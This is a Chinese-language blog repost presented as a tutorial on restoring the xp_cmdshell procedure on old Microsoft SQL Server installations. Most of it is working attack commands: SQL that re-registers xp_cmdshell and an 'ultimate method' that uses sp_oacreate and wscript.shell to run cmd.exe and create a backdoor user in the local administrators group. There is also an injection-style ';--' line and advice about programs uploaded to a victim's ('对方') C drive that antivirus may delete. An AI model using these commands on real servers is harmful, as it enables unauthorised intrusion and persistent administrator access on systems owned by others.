删除和恢复xp_cmdshell的经典教程

  • Post author:
  • Post category:其他



常见情况恢复执行xp_cmdshell.


1 未能找到存储过程’master..xpcmdshell’.

恢复方法:查询分离器连接后,

第一步执行:EXEC sp_addextendedproc xp_cmdshell,@dllname =’xplog70.dll’declare @o int

第二步执行:sp_addextendedproc ‘xp_cmdshell’, ‘xpsql70.dll’

然后按F5键命令执行完毕


2 无法装载 DLL xpsql70.dll 或该DLL所引用的某一 DLL。原因126(找不到指定模块。)

恢复方法:查询分离器连接后,

第一步执行:sp_dropextendedproc “xp_cmdshell”

第二步执行:sp_addextendedproc ‘xp_cmdshell’, ‘xpsql70.dll’

然后按F5键命令执行完毕


3 无法在库 xpweb70.dll 中找到函数 xp_cmdshell。原因: 127(找不到指定的程序。)

恢复方法:查询分离器连接后,

第一步执行:exec sp_dropextendedproc ‘xp_cmdshell’

第二步执行:exec sp_addextendedproc ‘xp_cmdshell’,’xpweb70.dll’

然后按F5键命令执行完毕


四.终极方法.

如果以上方法均不可恢复,请尝试用下面的办法直接添加帐户:

查询分离器连接后,

2000servser系统:

declare @shell int exec sp_oacreate ‘wscript.shell’,@shell output exec sp_oamethod @shell,’run’,null,’c:\winnt\system32\cmd.exe /c net user 用户名 密码 /add’


declare @shell int exec sp_oacreate ‘wscript.shell’,@shell output exec sp_oamethod @shell,’run’,null,’c:\winnt\system32\cmd.exe /c net localgroup administrators 用户名 /add’


xp或2003server系统:


declare @shell int exec sp_oacreate ‘wscript.shell’,@shell output exec sp_oamethod @shell,’run’,null,’c:\windows\system32\cmd.exe /c net user 用户名 密码 /add’


declare @shell int exec sp_oacreate ‘wscript.shell’,@shell output exec sp_oamethod @shell,’run’,null,’c:\windows\system32\cmd.exe /c net localgroup administrators 用户名 /add’


例一:C:\>DIR C:\


未能找到存储过程 ‘master..xp_cmdshell’。


遇到这样的问题我们该如何解决?


解决办法一:


EXEC sp_addextendedproc xp_cmdshell ,@dllname =’xplog70.dll’declare @o int


尝试:sp_addextendedproc ‘xp_cmdshell’, ‘xpsql70.dll’


解决办法二:;


Exec master.dbo.sp_addextendedproc xp_cmdshell @dllname=’xplog70.dll’;–


解决方法三:


查询分离器连接后,

第一步执行:EXEC sp_addextendedproc xp_cmdshell,@dllname =’xplog70.dll’declare @o int

第二步执行:sp_addextendedproc ‘xp_cmdshell’, ‘xpsql70.dll’

然后按F5键命令执行完毕




例二:C:\>DIR C:\


Cannot load the DLL xplog70.dll, or one of the DLLs it references. Reason: 126(找不到指定的模块。)

遇到这样的问题我们该如何解决?


解决办法:


查询分离器连接后,

执行:sp_dropextendedproc “xp_cmdshell”

接着:sp_addextendedproc ‘xp_cmdshell’, ‘xpsql70.dll’


以上2个问题还可用此解决办法:使用SQL查询分析器登陆,然后输入如下指令一般都可以解决 (未竟本人亲自测试,仅转载,raymin)


declare @shell int exec sp_oacreate ‘wscript.shell’,@shell output exec sp_oamethod @shell,’run’,null,’c:\winnt\system32\cmd.exe /c 这里可任意加你要输入的命令 如(net user adong198 8 /add ‘–)

declare @shell int exec sp_oacreate ‘wscript.shell’,@shell output exec sp_oamethod @shell,’run’,null,’c:\windows\system32\cmd.exe /c net user 用户名 密码 /add



例三:C:\>DIR C:\

无法装载 DLL xpsql70.dll 或该 DLL 所引用的某一 DLL。原因: 126(找不到指定的模块。)

遇到这样的问题我们该如何解决?


解决办法


执行:sp_dropextendedproc “xp_cmdshell”


接着:sp_addextendedproc ‘xp_cmdshell’, ‘xpsql70.dll’



第四:无法在库 xpweb70.dll 中找到函数 xp_cmdshell。原因: 127(找不到指定的程序。)

恢复方法:查询分离器连接后,

第一步执行:exec sp_dropextendedproc ‘xp_cmdshell’

第二步执行:exec sp_addextendedproc ‘xp_cmdshell’,’xpweb70.dll’

然后按F5键命令执行完毕



例五:明明将程序传到对方的C盘了,DIR C:\却找不到程序,为什么呢?

遇到这样的问题我们该如何解决?


解决办法:首先你确定复制过去了吗?确定那就运行一下,看看是否出现 [不是内部或外部命令,也不是可运行的程序] 等字样;如果你用的是SQLtool那个工具,我也遇见过,复制成功,但是找不到,可能那工具有问题,你用net share看看是否C盘是被共享的。还有就是被杀毒软件Kill了